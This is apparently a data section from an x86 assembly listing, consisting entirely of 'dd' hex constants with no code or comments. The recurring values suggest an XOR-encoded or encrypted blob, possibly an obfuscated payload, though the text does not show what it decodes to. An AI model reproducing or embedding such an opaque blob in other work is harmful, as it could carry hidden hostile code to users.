		dd 0BD3F0198h, 1670E347h, 0B91A600Eh, 32156619h, 3217EE87h
		dd 53756644h, 321575CBh, 502C7411h, 433E1B73h, 24C76942h
		dd 79531A2Eh, 1559300Ch, 3217F3E0h, 1611EF44h, 524B3E74h
		dd 5988DD77h, 3214E187h, 53E06644h, 8C43938Fh, 346735D0h
		dd 334B96A1h, 61D4638Ch, 0DB756050h, 3215661Dh,	0DFEC7B5Ch
		dd 0C880DFF8h, 765D5027h, 321560F8h, 31ADAE88h,	53050727h
		dd 2E3122ABh, 20FC07E8h, 7156688h, 415D3DE5h, 0EC8D4FDCh
		dd 9E9EF965h, 5B14A29h,	31198F47h, 39FC6622h, 84156611h
		dd 585E03D2h, 2F0BD0E6h, 5AE975E9h, 32156296h, 0DB316A01h
		dd 32156642h, 0CF3573E4h, 0CB7D9D55h, 0BB156680h, 0DB754250h
		dd 32156633h, 805B7045h, 68B5703h, 0C88B59E0h, 0A423FDD2h
		dd 53D4ED8Fh, 320DE387h, 21FC6644h, 11156622h, 6FBFE244h
		dd 7CFD7DD0h, 0FE9D40C8h, 0FA8B7BE1h, 0FB24CCDEh, 321AE187h
		dd 38FC6644h, 0A6156622h, 5D2D60C1h, 47C65CB9h,	0AF80EDA4h
		dd 0DB134A22h, 32156603h, 0CEDE0EAFh, 0CA5D9C82h, 90C5D638h
		dd 5BD908C5h, 302EBE6Eh, 32D9E24Bh, 67E96622h, 321562ACh
		dd 0B9FF6788h, 0F6944268h, 32156626h, 8D739F71h, 6774D5F9h
		dd 0CDEA99F9h, 6FFC4FDDh, 399C69E9h, 0DB156688h, 32156642h
		dd 96537912h, 0BF2E4F60h, 34397E39h, 0CDADE34Bh, 3FFC99DDh
		dd 90156611h, 6CAE7AF4h, 179F7E23h, 0E50742F0h,	84AD3643h
		dd 171388D4h, 2957657h,	101A550Fh, 6AD7EFA6h, 7907AC09h
		dd 0F8942413h, 729925B2h, 7F1E9490h, 0D8942B5Ah, 6B265D82h
		dd 0F91B8CA3h, 0E29CCAC8h, 32018FD2h, 49416644h, 0B61D216Bh
		dd 32CB2AAEh, 99322038h, 92B205h, 3FFCA6BEh, 26156611h
		dd 4C475BD3h, 7C131860h, 97718500h, 7D44EB9Ch, 0CDE060A4h
		dd 32198FA5h, 7BF56622h, 0C325855Fh, 1369BB47h,	0BF9CF456h
		dd 34396FC3h, 32156AF8h, 3D7CF188h, 396AEE3Bh, 400B03DDh
		dd 16219905h, 36D1E7D2h, 0DB156644h, 32156631h,	0C9B126EBh
		dd 43F6A3A7h, 0BA7D18EAh, 898EC5ECh, 0CD4F571Eh, 0B34C42BCh
		dd 32156280h, 0BB449322h, 36D4E7F0h, 0B3156688h, 321562ADh
		dd 1619E122h, 1621EF4Dh, 32157661h, 2F0F0944h, 0DBB6828Dh
		dd 96AD75ECh, 0E52F5BBBh, 7B88ED4Fh, 3D134A01h,	32156B9Dh
		dd 321D8F88h, 0A0F36644h, 84A0F8E2h, 1EAFC5Eh, 0B3316A03h
		dd 32156280h, 32018F22h, 0ABE16611h, 4B453041h,	0D5B9576Dh
		dd 0DB818A15h, 0AE0D5F99h, 0B79EA82Eh, 34396FA5h, 0C7F5B7DAh
		dd 3844E312h, 38FC60A4h, 0DB156644h, 0F007177Dh, 11188210h
		dd 0C4249A7Ah, 38FC0624h, 0CC156622h, 616B5D6Ah, 0C8484AA0h
		dd 0A8B7DD79h, 547438E5h, 5A74B79Ah, 32154DDFh,	643162CDh
		dd 0B31A387Ah, 3215661Bh, 32156361h, 0E8F70F44h, 9F73E13Ah
		dd 321563F8h, 63378288h, 0D2D486AFh, 52470620h,	31743870h
		dd 1E31030Dh, 321C8F42h, 0EA626622h, 6C756995h,	5AD946B6h
		dd 321537A3h, 643162ABh, 39FC3849h, 5E156688h, 384BF2EFh
		dd 19D2C25Eh, 0B51A1A82h, 32156691h, 321572ADh,	0F60A1822h
		dd 0E5DD90DEh, 53DE7DC1h, 0AE157C6Ch, 0AC8E7E6Ch, 0B91ACB6Fh
		dd 32156682h, 3DE4ED24h, 321566A6h, 55380711h, 332A429Ah
		dd 55AC378Ch, 332A4230h, 0B9EC3FD9h, 0BB4342BCh, 36D3E7A2h
		dd 0B3156622h, 321562D7h, 1621E188h, 8F969E18h,	34394727h
		dd 0FF916910h, 0CE156688h, 2464EB7Fh, 0B61A600Eh, 321566D1h
		dd 321FE787h, 0B3756644h, 1F6D91E5h, 53DEED66h,	17DCEBB3h
		dd 0B61A6068h, 32156686h, 32156DF8h, 31F2AE88h,	13B3BF84h
		dd 75249436h, 3954EB2Ah, 0B61A60A4h, 321566CCh,	32156CCBh
		dd 0A7B0C311h, 0B33F3FD6h, 0C7F0FC8Ah, 391DFBAFh, 39FC6025h
		dd 0F3156688h, 3AD7257Eh, 0CA702F9Bh, 0E1EA5E00h, 1E943674h
		dd 0BF29FC60h, 8C433968h, 0F732604h, 31F19009h,	0DC945CA6h
		dd 3C207790h, 0B35BB8E6h, 0A97DBC66h, 4EE3E723h, 33C0FE7Ah
		dd 3FFC38E6h, 99156688h, 762A144h, 5466D631h, 0B07E07DDh
		dd 376CE301h, 3DED6068h, 321567A1h, 78FC9A11h, 3D1566A8h
		dd 321561CFh, 339E6922h, 0CB156611h, 391DFB05h,	0BC1A6070h
		dd 3215663Fh, 3202E91Eh, 20FC6688h, 1E156644h, 0B401B342h
		dd 5625D6ABh, 4CABE1D8h, 8FA726BCh, 0DBC69997h,	32156614h
		dd 31E05381h, 37A8E50Ah, 32134A03h, 3262E21Eh, 54756688h
		dd 3DCA84FCh, 321565A9h, 0F89E0011h, 32068FE9h,	9A3E6644h
		dd 0E21490A4h, 443D8BFCh, 1153C215h, 0CBF40E99h, 0F7905D3Bh
		dd 3D134A1Ch, 3215580Ch, 389C6944h, 0DB156622h,	32156614h
		dd 4BFEBEACh, 3EFC06C6h, 0E156622h, 18D81D89h, 9581B35h
		dd 0B275985Ch, 97452FDh, 1E08BB94h, 2090698Eh, 0DB156644h
		dd 32156625h, 6DF0E909h, 0DBD39DD5h, 0CDEA9894h, 0DF905DD7h
		dd 3D134A1Dh, 3215E10Dh, 8F969344h, 34396F83h, 19916911h
		dd 0DB156688h, 32156641h, 183D77EAh, 43A8E59Bh,	32134AA4h
		dd 3277E24Bh, 0B41A6622h, 3215661Fh, 329869E8h,	0B3156644h
		dd 8EEF5AF3h, 0B798074Bh, 3426EFD3h, 32156CADh,	28176E22h
		dd 0C725E1E3h, 0DB15F018h, 0CDEA9834h, 321568CBh, 62E3A111h
		dd 5CF53051h, 6A02A124h, 52AC0157h, 321569F9h, 0A6F39B88h
		dd 0F5AC086Fh, 11C68E44h, 17BDC6C9h, 7DFEE7EEh,	7AA3CC5h
		dd 537F9CD9h, 3EF8E32Ah, 0B61A60A4h, 0CDEA9874h, 0CC9E9342h
		dd 0D4A8E570h, 33135525h, 3276E34Bh, 3BFC6622h,	0AC156611h
		dd 925C9C09h, 0EF3E9F77h, 9C0FE319h, 0B71A6022h, 321566C1h
		dd 68F1E624h, 32156ACBh, 4DAFE911h, 0A64453C5h,	6981F0F8h
		dd 0B798079Fh, 324C6DF5h, 32156861h, 360E0244h,	5AC23754h
		dd 26D3688Ah, 0DBFD03F1h, 0CDEA9BADh, 47C2E742h, 3D59F598h
		dd 3215600Ch, 66C2E744h, 537F0D99h, 3DEA57E9h, 32156D05h
		dd 0B3730644h, 54FAFBE9h, 53BD71AFh, 80DB0Bh, 3D156068h
		dd 3205B7A6h, 3A9F6911h, 3D156688h, 321564C0h, 9740622h
		dd 1BB6094h, 590698Eh, 3D156644h, 321567A9h, 0B79E9E11h
		dd 34394689h, 3212ED4Bh, 0B71A6622h, 32156610h,	33AB3074h
		dd 33156644h, 3DFC38D5h, 0FF156611h, 44030A4Bh,	336A3807h
		dd 4EB1459Dh, 0B72ED02Fh
		dd 3426C886h, 322FE34Bh, 3BFC6622h, 8A156611h, 0CC19BEA7h
		dd 0DDB14248h, 16A4E3A9h, 0B61A603Dh, 3215668Fh, 3214EF4Bh
		dd 63E06622h, 321567A8h, 6BDA6788h, 321FEE4Bh, 37FC6622h
		dd 43156611h, 8F4A6315h, 9C1FE37Fh, 0B71A6011h,	3215660Dh
		dd 32156061h, 2D394444h, 0B9DBA6C0h, 1E1BDF94h,	89469E8Eh
		dd 0CDEA99BBh, 0C74EB90Bh, 9C07E32Ah, 0B71A60BBh, 32156618h
		dd 24EFD942h, 0B3736EA1h, 533F105Fh, 22BCE3CFh,	0B31A600Eh
		dd 32156616h, 0E8A269E8h, 62740724h, 3215679Ah,	6AD26711h
		dd 32188EE8h, 0CE4C6644h, 0C82E51EEh, 0FD94EB7Ah, 8A6937E5h
		dd 0CC019E8h, 21FC317Ch, 6C156611h, 4A247B94h, 0CFDD8A8Fh
		dd 0C845A75Eh, 872CF9A3h, 534A067Fh, 9C03E37Fh,	0B71A6011h
		dd 3215662Dh, 0CB90ED70h, 52134A40h, 32108FDBh,	0D22C6611h
		dd 53DD0763h, 0CCADF15h, 7B5C7725h, 21329790h, 0B3547B8Bh
		dd 36389CB5h, 6BDA672Eh, 321FE61Eh, 3D756688h, 321566C0h
		dd 53D2ED22h, 9C0FE32Ah, 0B71A60BBh, 3215667Fh,	30926942h
		dd 0B9156611h, 9D9EDD49h, 0B974743Bh, 1E0E17A7h, 339B6917h
		dd 0CB156688h, 3214EA4Bh, 64E96622h, 321567AFh,	6CE26788h
		dd 32156CADh, 21575422h, 4ACBD206h, 9E7B866h, 1BB78C1h
		dd 0B906924h, 0DB156611h, 32156698h, 0ABB5890Eh, 69D73ACFh
		dd 18DE2C2h, 46B5D259h,	13A8E3CFh, 61EC600Eh, 321567AAh
		dd 69CA6788h, 321569ADh, 32AC0722h, 14F5F8D4h, 0C018AB0Ch
		dd 0DE2C1294h, 9C37E319h, 0B71A6022h, 321566DCh, 320AE74Bh
		dd 0DB756622h, 32156602h, 4E2E07B4h, 847AE1A3h,	6017F623h
		dd 91AAE7CCh, 88C966D2h, 43B0B474h, 0FF90ED43h,	0CA134A03h
		dd 5B1ED8DEh, 0F4944007h, 0EBA9F0D6h, 0CB4B9138h, 0DB759AE8h
		dd 32156649h, 41DC7AE8h, 2680DD38h, 0DCCA244Eh,	53749EDFh
		dd 9C33E319h, 0B71A6022h, 321566C4h, 0B9FEE724h, 3D5DEBD4h
		dd 3215649Ah, 53740688h, 321BE54Bh, 3D756622h, 32156693h
		dd 32926988h, 53156644h, 3560E3A9h, 0B81A603Dh,	32156684h
		dd 3213EC4Bh, 0B41A6622h, 32156611h, 3214DDDBh,	0ED146644h
		dd 33936979h, 0C7156611h, 9C3FE3B3h, 0B71A6077h, 321566B7h
		dd 3209E91Eh, 0B01A6688h, 32156652h, 321577CBh,	0B7DACF11h
		dd 8E28F372h, 9F5ED02Dh, 196C848Ch, 0B79E894Ch,	34397A59h
		dd 321561ADh, 15133F22h, 0C3A88FAh, 321BEA87h, 3BFC6644h
		dd 0FA156622h, 0E6D4AC4h, 3E20D0A3h, 3214D812h,	0C5146622h
		dd 26FC064Fh, 59156688h, 2F7BE144h, 0DF6BCBB9h,	20C64FAAh
		dd 5E85AD54h, 6236B209h, 321574CAh, 6573AA11h, 0EB27C11h
		dd 84CAFC0Ch, 19746A93h, 6845D474h, 38FC07D3h, 5C156644h
		dd 0E1E288A1h, 916B6D31h, 905DC3h, 3D1355EAh, 321501A7h
		dd 389C6911h, 0DB156688h, 32156641h, 0F0883A94h, 3390EDC3h
		dd 3D134A91h, 32157DCFh, 81AD0622h, 0DA41A4EBh,	32156686h
		dd 0FA5D8CD4h, 581B51EBh, 64454B46h, 534A0A51h,	7A3BDE14h
		dd 0E2E235C3h, 1F1686D0h, 52E0D80Fh, 524DA145h,	0B2459CA9h
		dd 534AA4F9h, 321BE087h, 3BFC6644h, 26156622h, 0DC224FE6h
		dd 0E0D4080Bh, 9C3BE37Fh, 0B71A6011h, 3215668Ah, 32157261h
		dd 90604344h, 0FF3E2FE5h, 3F456C4Bh, 0FD2D00DFh, 3939B5Eh
		dd 321A8F91h, 8F296611h, 0E333B1A7h, 47CC67D5h,	0DCB8ED0Ch
		dd 7FA8E5E8h, 32134A88h, 3274E34Bh, 21FC6622h, 69156611h
		dd 0DAD402F7h, 65D385E0h, 780661DBh, 6272C0A6h,	0B79E88A8h
		dd 343955A9h, 321561CBh, 5941A911h, 0EF52A2DFh,	6D21D812h
		dd 0B35B413Fh, 780B42D7h, 35FBA7F5h, 138FA8C5h,	0DC946E6Ch
		dd 3B5B89E8h, 524B9189h, 321577ADh, 0A6AD0522h,	7098F424h
		dd 0DF84E39Ch, 0B7ED8FA0h, 0B174F1DFh, 1E1DB7ACh, 0B61A668Eh
		dd 32156627h, 0B3733742h, 6905F3DEh, 32138FE9h,	0FDA06644h
		dd 8E920873h, 9CAFE32Ah, 0B71A60BBh, 32156607h,	0F19E0042h
		dd 5B20D977h, 2B90EDE9h, 0DB134A62h, 32156636h,	65CA2775h
		dd 0E0FD49C0h, 0F9181A2Dh, 601AE081h, 0A599B339h, 0CDEADBDDh
		dd 0DD3C99BBh, 3E93697Fh, 52156611h, 3215E587h,	8B736644h
		dd 0B1746B22h, 1E081BACh, 0B61A668Eh, 32156465h, 0F59E0042h
		dd 0B174989Ah, 1E382B35h, 0B61A6642h, 3215642Fh, 321560F8h
		dd 5E56EA88h, 98F22D2h,	1BBF8A7h, 6A906917h, 0CA156688h
		dd 305CE3CFh, 0B21A600Eh, 3215660Ah, 21FC9AE8h,	1A156644h
		dd 0AC48943h, 68287581h, 0C34F7C92h, 631B8A35h,	6274D73Dh
		dd 880111A9h, 31F5A7C4h, 7B20BEB3h, 338F497Eh, 0DB753ED6h
		dd 3215669Bh, 8C4FFF53h, 1207C979h, 0C6852541h,	74A3BC00h
		dd 54DF7A19h, 97495A9h,	1BBC894h, 1590698Eh, 0C7156644h
		dd 1554E3A9h, 60E9603Dh, 32156732h, 68C26744h, 321576CBh
		dd 0EC631D11h, 76829A82h, 676EA691h, 0BD55AD8Eh, 0B72E930Ch
		dd 3426C82Ah, 320EE34Bh, 0B9E96622h, 1E1AB394h,	0D77D9F8Eh
		dd 0BB156679h, 36EA421Eh, 0BE1A3935h, 32156689h, 80905DBCh
		dd 3D13558Ch, 32152F94h, 321F8F88h, 43AE6644h, 21607A14h
		dd 0EDE2FCE1h, 26C0E303h, 3DFC6068h, 91156622h,	3EE449B6h
		dd 0B97524A9h, 4BECE74Bh, 62EDDD32h, 321567A9h,	6AD26788h
		dd 3EFC06B1h, 52156622h, 6312B157h, 0B41ECEDEh,	0B9DF7EE3h
		dd 0B72E07F8h, 3426C8A7h, 323FE387h, 0BE1A6644h, 32156625h
		dd 3214ED1Eh, 0B9E96688h, 1E1093C1h, 0DE969A24h, 1629EF15h
		dd 6D316277h, 321561ADh, 0A902E622h, 0E7E0692Eh, 9CB3E3B3h
		dd 0B71A6077h, 32156677h, 321572F8h, 0D920B988h, 0F2637360h
		dd 24E25D30h, 0FEE1E24Eh, 9375DE87h, 9B90ED5Ch,	3D134A2Fh
		dd 3215729Fh, 38FC0688h, 50156644h, 0B41B3D4Dh,	668E789Dh
		dd 0CBDCE69Fh, 77FAE125h, 6F4A3375h, 321576F8h,	314C5F88h
		dd 0CB608496h, 0B1EF45F7h, 36952F0Bh, 98905DCDh, 3D1355EAh
		dd 32152AA7h, 321B8F11h, 9EE96688h, 0C6B627C4h,	1C2365FFh
		dd 0B1F952D7h, 34CE303h, 0B01A6068h, 3215663Ah,	3207EC1Eh
		dd 3FFC6688h, 8D156644h, 2B3F6732h, 0B2E8A294h,	0CAE96320h
		dd 3214DC16h, 0E5146622h, 8973064Bh, 0B51A032Dh, 32156644h
		dd 7FA8E543h, 32134A3Ch, 3BADE287h, 0DA756644h,	32156628h
		dd 8C79EDCEh, 5C9D87Dh,	8D1AFA0Fh, 53ED3FE5h, 9C23E32Ah
		dd 0B71A60BBh, 32156600h, 3208EE2Dh, 0B01A6611h, 3215669Fh
		dd 321574ADh, 14C24922h, 0EB14F7C0h, 9F9E48FDh,	14CD9FAAh
		dd 0B959C7EEh, 1E153B94h, 35FC068Eh, 3E156644h,	8E7E0DBAh
		dd 0B973258Eh, 8B44075Eh, 0CDEA99BBh, 0CE4CA90Bh, 9CDFE32Ah
		dd 0B71A60BBh, 3215667Ch, 321AE62Dh, 38FC6611h,	0EF156688h
		dd 8AA10F9Eh, 0B4B9FCEDh, 4790ED13h, 0CE134A97h, 3214DB11h
		dd 0DD146622h, 321B8F4Ch, 44D76688h, 50424F13h,	6A5082DBh
		dd 39B6862h, 9C2FE3B3h,	0B71A6077h, 3215660Ch, 6790EDE8h
		dd 0DB134A80h, 32156650h, 79AB2C8Ah, 0D2ADE924h, 4FEB39F8h
		dd 4EEFF434h, 0D563F416h, 0CDEADC43h, 0E53C9977h, 0C795061Eh
		dd 0B72E0734h, 3426C82Fh, 324BE387h, 0B9ED6644h, 1E0F47A7h
		dd 32068F17h, 57186688h, 7A45B960h, 1FCAB18Ch, 0FE43FB99h
		dd 7DC307F9h, 23FC067Eh, 31156622h, 489029B6h, 0B034AA2Eh
		dd 2B0A0F83h, 8C9AEDC2h, 32156AF8h, 0EF65A888h,	25C978A3h
		dd 1527CE35h, 8C430746h
		dd 0CDEA9977h, 524B916Dh, 32906974h, 6C156611h,	53749FE8h
		dd 9C57E37Fh, 0B71A6011h, 32156636h, 0FB90ED74h, 0CA134A55h
		dd 32156FCBh, 9A30AE11h, 36F5EAB8h, 8F40CA61h, 0CDEA99DDh
		dd 52488938h, 0B9DFEDEEh, 9EC079Ch, 1BB20A7h, 63906917h
		dd 52156688h, 34FC9FF4h, 0CA156622h, 1BBDF27Ch,	8F96079Ah
		dd 34396609h, 7906922h,	0DB156611h, 32156682h, 68EBD4F7h
		dd 32E046BFh, 0B79E0830h, 34394635h, 0CDAE35B1h, 1BEA99DDh
		dd 22FC3DCEh, 20156688h, 8C01EBE0h, 84239DCFh, 0DE711A5Bh
		dd 0C758491Bh, 9C5FE37Fh, 0B71A6011h, 3215665Fh, 0B79E9F7Dh
		dd 34396F4Dh, 31EFD842h, 627439E6h, 32156730h, 6AD26744h
		dd 3219E02Dh, 0B11A6611h, 3215668Eh, 3215E04Bh,	0DA756622h
		dd 32156614h, 0EAD0246Ch, 0FBAD00E6h, 0DA7539BAh, 3215661Bh
		dd 5AB67313h, 0AA7E0173h, 0CE4E9BA2h, 0B72E0770h, 3426C8C6h
		dd 3241E34Bh, 0B1ED6622h, 1E152BACh, 0B71A668Eh, 32156602h
		dd 0E390EDDAh, 52134A0Ah, 32156861h, 4EE61E44h,	3839F95Dh
		dd 0CACA9A83h, 0DB8184A3h, 32156649h, 68158E6Fh, 0A03801Eh
		dd 3FE4B897h, 8F4007AAh, 0CDEA99DDh, 0DB488938h, 32156682h
		dd 0DDE39A1Fh, 2FBFA27Eh, 0B72E21EEh, 3426C8DAh, 3221E34Bh
		dd 0B9EC6622h, 1E127394h, 32138F8Eh, 0D5E66644h, 9470B1E6h
		dd 0CDAB30E4h, 1BEA9977h, 20FC38B3h, 0F2156622h, 86A37E92h
		dd 83DA7327h, 0DFCD200Fh, 12655D07h, 0B72E9ADFh, 3426C8DEh
		dd 3221E34Bh, 26FC6622h, 0AC156611h, 90727E32h,	8B06EAD5h
		dd 47AC3A90h, 0A78CDE1Fh, 0B9AA5752h, 1E1457C1h, 32138F24h
		dd 7ADD6611h, 0C29FB3BEh, 0CDEADE14h, 0F53C99DDh, 0B72E9349h
		dd 3426C8D6h, 3281E34Bh, 3DFC6622h, 79156611h, 4AE9E349h
		dd 0AFE021A8h, 0A96BD583h, 8F9633E5h, 343966C5h, 41906944h
		dd 0CE156622h, 3EECE39Ah, 3DFC60A4h, 59156644h,	119A40CFh
		dd 0D45B6465h, 9E01EDAFh, 8F4088BCh, 5EE526F2h,	1EB6AB90h
		dd 0EFE20190h, 70518BC5h, 0E7E214F5h, 9D228B90h, 0DD3C8447h
		dd 0DB450619h, 3215662Dh, 0D943BACh, 68461Dh, 92221DEEh
		dd 6C54D633h, 321574F8h, 81EFD588h, 0CAF1504Dh,	97B795D4h
		dd 0D76A84FDh, 537E35C7h, 321563ADh, 0CE2F2622h, 0B72E5736h
		dd 3426C8D2h, 327CE34Bh, 0B91A6622h, 3215660Bh,	321B8FE8h
		dd 0AD1A6644h, 4227159Eh, 2004F480h, 97C8E82Ah,	964751FDh
		dd 8F96070Fh, 3439665Ch, 0E906988h, 0DB156644h,	32156624h
		dd 0FAE4D573h, 0B79E50C0h, 34397F4Dh, 0CAB30D7h, 0B37DFB2Eh
		dd 0D779D34Eh, 61DBE717h, 0C5229C3Fh, 8BE3E7CFh, 0B3123DAFh
		dd 0D6298EA2h, 93E3E773h, 33542235h, 9ED387Fh, 1BB04C1h
		dd 13906924h, 0CA156611h, 29CCE303h, 38FC6068h,	0B156622h
		dd 0EB222C82h, 0D0CB29Bh, 8F4093F9h, 32156623h,	0CB488910h
		dd 9C73E3B3h, 0B71A6077h, 3215663Ah, 3214E51Eh,	0B9EC6688h
		dd 1E0ED7C1h, 8A459F24h, 32156610h, 0CB4DA189h,	9C7FE37Fh
		dd 0B71A6011h, 3215662Fh, 3214E887h, 0B9E06644h, 1E0E1BA7h
		dd 8B449A17h, 70B57E8Ch, 5535AFC5h, 0C39414D7h,	681A1145h
		dd 3A649709h, 0FD144EBEh, 3C9A697Bh, 0DB156611h, 32156681h
		dd 0C3FAE7E9h, 435EFCEEh, 0B72E9F37h, 3426C8E6h, 322CE34Bh
		dd 0B71A6622h, 32156610h, 33936970h, 0C7156644h, 1F9CE3A9h
		dd 6275603Dh, 3215E987h, 544B6644h, 0D8EFB8A3h,	33AF3470h
		dd 33156688h, 3AFC3C93h, 2A156622h, 3ED7B957h, 9F9ACC0h
		dd 1BB14C1h, 75906924h,	3D156611h, 32156101h, 33926944h
		dd 0CA156622h, 1B9CE39Ah, 0B21A60A4h, 32156652h, 3FFD9342h
		dd 0E8156611h, 0E9C4F60Eh, 0B8B23ECDh, 0D0D13208h, 8F40074Fh
		dd 32156689h, 52488945h, 0D5E2E742h, 540CDF16h,	53957A33h
		dd 0B72E07BCh, 3426C854h, 3255E31Eh, 0B9ED6688h, 1E064FC1h
		dd 321D8F24h, 8FE16611h, 0C0CC025Fh, 8B441680h,	0CDEA99DDh
		dd 3D4CA938h, 32157B0Dh, 0D3940644h, 158A7794h,	321569F9h
		dd 5E9B0588h, 0D053E377h, 0F6D55E03h, 0A448165Fh, 0B72E07D1h
		dd 3426C83Eh, 3227E32Dh, 22FC6611h, 52156688h, 688244BEh
		dd 8A4BF4AEh, 0A3D91058h, 0B9DD4C7Eh, 1E1D4BC1h, 0FD249324h
		dd 0FD249F20h, 0DBDAE1C9h, 3215664Ch, 57720712h, 0ABE50E27h
		dd 9C6BE3B3h, 0B71A6077h, 3215661Ch, 3214EC1Eh,	0B9EC6688h
		dd 1E1893C1h, 8B449324h, 5638101Ch, 0B31D8749h,	0DB4B5h
		dd 0C394270Dh, 1E1C4012h, 0FE3A9709h, 0FD3CB7F6h, 3996697Bh
		dd 52156611h, 72CFE7EEh, 0EDAB00F1h, 0B72E0756h, 34396B20h
		dd 3238E387h, 3D756644h, 321562A1h, 7EAF0011h, 0AC9FD98Eh
		dd 0B9740D23h, 1E0E63A7h, 8A459F17h, 0CDEA9977h, 0DB4DA16Dh
		dd 32156624h, 77CAD99Ch, 9E9CA69h, 1BBE4C1h, 6906924h
		dd 52156611h, 1A1B8D09h, 0FC9F2041h, 0D790ED43h, 52134A33h
		dd 54EAD187h, 53976EFEh, 3DF4DC70h, 0C0947F88h,	0D4739696h
		dd 0DB4FB16Dh, 32156625h, 859D410Ch, 9B475DCh, 1BBD8C1h
		dd 0B2906924h, 0DB156611h, 32156698h, 0B3980DBEh, 4E440BEDh
		dd 0B1D9AEC4h, 0E9472E0Ch, 9CD3DBC7h, 3D156011h, 32155594h
		dd 32068F88h, 47496644h, 0ADE60F71h, 2DF2E261h,	0CAA4AC7Fh
		dd 0D5F155F9h, 37A8E59Dh, 32134A30h, 322CE287h,	0BB1A6644h
		dd 3215662Ah, 3FAE0071h, 5323D6DDh, 13B0E3CFh, 0DB75600Eh
		dd 32156614h, 88A258D7h, 88470713h, 32156623h, 3D4FB110h
		dd 32156C0Ch, 0B3730644h, 3D0790F1h, 97499AEh, 1BBA40Dh
		dd 0E9906942h, 52156622h, 21FDEFA2h, 0ED156688h, 4065FBAEh
		dd 0A6268B44h, 79575C97h, 0FEECDC31h, 0BD1A3626h, 32156622h
		dd 0B11A074Ah, 32156699h, 32156AADh, 337BA522h,	0E60E7209h
		dd 2F3F4B69h, 0F4A8E53Bh, 3213558Ch, 3233E31Eh,	0BB1A6688h
		dd 32156645h, 37A8E5DBh, 32134A30h, 3295E287h, 3FFC6644h
		dd 59156622h, 3FB5458Ah, 0FF2A0F2Fh, 198BBE2h, 2864E3A9h
		dd 26FC603Dh, 1F156688h, 6F289A7Ch, 1A818B23h, 2C24FC6h
		dd 851C142Dh, 5220B2DBh, 75CCE744h, 32078E62h, 58D26688h
		dd 8A12AE82h, 59510B8Ah, 2F51F976h, 6B162821h, 534D3F14h
		dd 3CCCD874h, 0D4D41DD0h, 0D2D3E78Fh, 7431C938h, 0D494B0D5h
		dd 78F0E38h, 32128809h,	0C51456CCh, 3591697Ch, 52156611h
		dd 0B9B8A708h, 0B72E07B3h, 3426C8A4h, 3227E31Eh, 52756688h
		dd 8D1A3915h, 0B97407EAh, 1E180794h, 88479E8Eh,	4FBB5894h
		dd 2C1F84A3h, 0F8941F9Bh, 14A83327h, 3418A4C5h,	0C0944677h
		dd 6DFEFC52h, 0CE4FB1A1h, 9C9FE37Fh, 0B71A6011h, 32156640h
		dd 3214E287h, 0B9EC6644h, 1E3C87A7h, 32048F17h,	3B66688h
		dd 0BBCF9BC2h, 0CE5BFE9Bh, 1177376Ah, 670B5151h, 321567F9h
		dd 6FFA6722h, 0E2940071h, 0D09FF7B1h, 249C6925h, 0DB156622h
		dd 32156600h, 0C96ADECCh, 0A8671AFCh, 21FBA153h, 0E4535772h
		dd 0BC905D1Eh, 3D1355EAh, 321578A7h, 0B79E9E11h, 34396011h
		dd 0CDAB30B8h, 1BEA99DDh, 0BD1A38E6h, 3215668Fh, 3214E84Bh
		dd 9E06622h, 1BBF494h, 7990698Eh, 3D156644h, 321567A3h
		dd 0B79E9A11h, 343978ADh, 321EE54Bh, 34FC6622h,	28156611h
		dd 0D0775057h, 369431E1h, 32156706h, 0B01A3911h, 32156696h
		dd 0C324D924h, 20FC5A41h, 6E156611h, 9E2241DAh,	5DB91FE9h
		dd 560D1767h, 914B79A9h
		dd 0B72E0763h, 3426C8D2h, 323CE32Dh, 0CBEC6611h, 16C0E303h
		dd 35FC6068h, 0BE156622h, 82D3C4CBh, 8B445964h,	32156645h
		dd 0DB4CA923h, 32156616h, 7EBA53E3h, 9E8D5EAh, 1BBFCA7h
		dd 9906917h, 0DB156688h, 3215664Ah, 0EF5AE9A0h,	0DE5176EDh
		dd 0D7A804FBh, 0B79E7EC1h, 3439667Fh, 3219E01Eh, 35FC6688h
		dd 0DC156644h, 2364BA02h, 8B447AE6h, 0CDEA9977h, 3D4CA96Dh
		dd 321567A9h, 0CD1E9F11h, 323CE287h, 34FC6644h,	49156622h
		dd 630BA05h, 0DEDE8F0Dh, 26FC99BBh, 9D156622h, 83795257h
		dd 1B5966E2h, 2C1BE50Ah, 378B3687h, 93322C3h, 1E150F0Dh
		dd 16906942h, 3D156622h, 32157791h, 32198F88h, 15896644h
		dd 7ADBF9B3h, 48C6975Dh, 0B798AA6Ch, 3426257Ah,	0DE968FD7h
		dd 9EC99EEh, 1E09070Dh,	5F906942h, 52156622h, 321561F8h
		dd 807AC588h, 0A060F3A6h, 10F6E744h, 8F9607F2h,	3426CB6Eh
		dd 7F906945h, 0DB156622h, 32156605h, 0A83D8761h, 0C24C927Bh
		dd 0AA412802h, 0E7CAA932h, 7ECD0961h, 52D6ED24h, 53E7D92Dh
		dd 5590EB70h, 0DB153F83h, 3215664Fh, 123BAE85h,	7653590Dh
		dd 3D9454C2h, 321567CEh, 20FC9A22h, 52EA99FDh, 0B809D9EEh
		dd 53EFD94Bh, 9FE3E319h, 0B61A6022h, 321566AAh,	3214E34Bh
		dd 52EC6622h, 53CCED77h, 9FEFE3B3h, 0B71A6077h,	32156607h
		dd 3DA9D071h, 3215660Dh, 0E4FC0744h, 0DBEA99C9h, 32156600h
		dd 5A71AE75h, 801756BAh, 0B8DF5055h, 0F626FB6Eh, 987D319Bh
		dd 6D29E136h, 742A9A3h,	0EDE26561h, 8F40B97Fh, 0DE211BBh
		dd 0BB48890Bh, 0B1E039EFh, 0B71A6776h, 32156689h, 484ADF42h
		dd 0B3733C3Dh, 53DA1078h, 0D8905DB8h, 3D13558Fh, 32157094h
		dd 1AA30688h, 5EF6E722h, 0B79807CCh, 324DE1D5h,	0D97E8F7Dh
		dd 9E999BBh, 1B888A7h, 67906917h, 52156688h, 3211E04Bh
		dd 8A736622h, 0B344C83Ah, 1A3BEE4Fh, 3D743C19h,	32156CABh
		dd 53750611h, 3215E487h, 0BF746644h, 6A9D5CA7h,	321D8F11h
		dd 842E6688h, 5E009C41h, 10FC5A82h, 0DBEA99FAh,	3215669Ch
		dd 7284481Fh, 672F2DB7h, 0C3DF51C4h, 1A1944C9h,	512A79DBh
		dd 9FE7E319h, 0B71A6022h, 321566B9h, 321561ADh,	25ECA122h
		dd 0A7968D1Bh, 3210ED87h, 0CB756644h, 0BF743F75h, 6A9D1994h
		dd 0E8FC9F88h, 3DEA99AEh, 32156EA8h, 30906911h,	52156688h
